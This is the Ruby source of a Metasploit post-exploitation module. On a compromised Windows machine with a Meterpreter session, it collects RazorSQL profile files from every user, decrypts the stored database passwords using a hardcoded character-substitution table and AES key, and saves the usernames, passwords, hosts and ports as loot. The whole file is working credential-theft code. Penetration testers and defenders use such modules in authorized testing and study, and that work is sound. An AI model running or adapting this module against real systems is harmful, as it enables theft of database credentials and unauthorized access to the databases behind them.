232 lines
6.3 KiB
Ruby
232 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'openssl'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Gather RazorSQL Credentials',
|
|
'Description' => %q{
|
|
This module stores username, password, type, host, port, database (and name)
|
|
collected from profiles.txt of RazorSQL.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Paul Rascagneres <rascagneres[at]itrust.lu>',
|
|
'sinn3r' # Reporting, file parser
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_eof
|
|
core_channel_open
|
|
core_channel_read
|
|
core_channel_write
|
|
stdapi_fs_stat
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def get_profiles
|
|
profiles = []
|
|
grab_user_profiles.each do |user|
|
|
next unless user['ProfileDir']
|
|
|
|
['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
|
|
file = "#{user['ProfileDir']}\\#{profile_path}"
|
|
profiles << file if file?(file)
|
|
end
|
|
end
|
|
|
|
profiles
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
module_fullname: fullname,
|
|
post_reference_name: refname,
|
|
session_id: session_db_id,
|
|
origin_type: :session,
|
|
private_data: opts[:password],
|
|
private_type: :password,
|
|
username: opts[:user]
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def run
|
|
print_status('Checking All Users...')
|
|
creds_tbl = Rex::Text::Table.new(
|
|
'Header' => 'RazorSQL User Credentials',
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
'Username',
|
|
'Password',
|
|
'Type',
|
|
'Host',
|
|
'Port',
|
|
'Database Name',
|
|
'Database'
|
|
]
|
|
)
|
|
|
|
get_profiles.each do |profile_path|
|
|
content = get_content(profile_path)
|
|
next if content.blank?
|
|
|
|
parse_content(creds_tbl, content).each do |cred|
|
|
creds_tbl << cred
|
|
end
|
|
end
|
|
|
|
if creds_tbl.rows.empty?
|
|
print_status('No creds collected.')
|
|
else
|
|
path = store_loot(
|
|
'razor.user.creds',
|
|
'text/csv',
|
|
session,
|
|
creds_tbl.to_s,
|
|
'razor_user_creds.txt',
|
|
'RazorSQL User Credentials'
|
|
)
|
|
print_line(creds_tbl.to_s)
|
|
print_status("User credentials stored in: #{path}")
|
|
end
|
|
end
|
|
|
|
def get_content(file)
|
|
found = begin
|
|
session.fs.file.stat(file)
|
|
rescue StandardError
|
|
nil
|
|
end
|
|
return if !found
|
|
|
|
content = ''
|
|
infile = session.fs.file.new(file, 'rb')
|
|
content << infile.read until infile.eof?
|
|
return content
|
|
end
|
|
|
|
def parse_content(_table, content)
|
|
creds = []
|
|
content = content.split(/\(\(Z~\]/)
|
|
content.each do |db|
|
|
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
|
|
user = (db.scan(/user=(.*)/).flatten[0] || '').strip
|
|
type = (db.scan(/type=(.*)/).flatten[0] || '').strip
|
|
host = (db.scan(/host=(.*)/).flatten[0] || '').strip
|
|
port = (db.scan(/port=(.*)/).flatten[0] || '').strip
|
|
dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip
|
|
pass = (db.scan(/password=(.*)/).flatten[0] || '').strip
|
|
|
|
# Decrypt if there's a password
|
|
unless pass.blank?
|
|
if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/
|
|
decrypted_pass = decrypt_v2(::Regexp.last_match(1))
|
|
else
|
|
decrypted_pass = decrypt(pass)
|
|
end
|
|
end
|
|
|
|
pass = decrypted_pass || pass
|
|
|
|
# Store data
|
|
creds << [user, pass, type, host, port, dbname, database]
|
|
|
|
# Don't report if there's nothing to report
|
|
next if user.blank? && pass.blank?
|
|
|
|
report_cred(
|
|
ip: rhost,
|
|
port: port.to_i,
|
|
service_name: database,
|
|
user: user,
|
|
password: pass
|
|
)
|
|
end
|
|
|
|
return creds
|
|
end
|
|
|
|
def decrypt(encrypted_password)
|
|
magic_key = {
|
|
'/' => 'a', '<' => 'b', '>' => 'c', ':' => 'd', 'X' => 'e',
|
|
'c' => 'f', 'W' => 'g', 'd' => 'h', 'V' => 'i', 'e' => 'j',
|
|
'f' => 'k', 'g' => 'l', 'U' => 'm', 'T' => 'n', 'S' => 'o',
|
|
'n' => 'p', 'm' => 'q', 'l' => 'r', 'k' => 's', 'j' => 't',
|
|
'i' => 'u', 'h' => 'v', 'P' => 'w', 'Q' => 'x', 'R' => 'y',
|
|
'o' => 'z', 'p' => 'A', 'q' => 'B', 'r' => 'C', 't' => 'D',
|
|
's' => 'E', 'L' => 'F', 'M' => 'H', 'O' => 'I', 'N' => 'J',
|
|
'J' => 'K', 'v' => 'L', 'u' => 'M', 'z' => 'N', 'y' => 'O',
|
|
'w' => 'P', 'x' => 'Q', 'G' => 'R', 'H' => 'S', 'A' => 'T',
|
|
'B' => 'U', 'D' => 'V', 'C' => 'W', 'E' => 'X', 'F' => 'Y',
|
|
'I' => 'Z', '?' => '1', '3' => '2', '4' => '3', '5' => '4',
|
|
'6' => '5', '7' => '6', '8' => '7', '9' => '8', '2' => '9',
|
|
'.' => '0', '+' => '+', '"' => '"', '*' => '*', '%' => '%',
|
|
'&' => '&', 'Z' => '/', '(' => '(', ')' => ')', '=' => '=',
|
|
',' => '?', '!' => '!', '$' => '$', '-' => '-', '_' => '_',
|
|
'b' => ':', '0' => '.', ';' => ';', '1' => ',', '\\' => '\\',
|
|
'a' => '<', 'Y' => '>', "'" => "'", '^' => '^', '{' => '{',
|
|
'}' => '}', '[' => '[', ']' => ']', '~' => '~', '`' => '`'
|
|
}
|
|
password = ''
|
|
for letter in encrypted_password.chomp.each_char
|
|
char = magic_key[letter]
|
|
|
|
# If there's a nil, it indicates our decryption method does not work for this version.
|
|
return nil if char.nil?
|
|
|
|
password << char
|
|
end
|
|
|
|
password
|
|
end
|
|
|
|
def decrypt_v2(encrypted)
|
|
enc = Rex::Text.decode_base64(encrypted)
|
|
key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==')
|
|
|
|
aes = OpenSSL::Cipher.new('AES-128-CBC')
|
|
aes.decrypt
|
|
aes.key = key
|
|
|
|
aes.update(enc) + aes.final
|
|
end
|
|
end
|
|
|
|
=begin
|
|
http://www.razorsql.com/download.html
|
|
Tested on: v5.6.2 (win32)
|
|
=end
|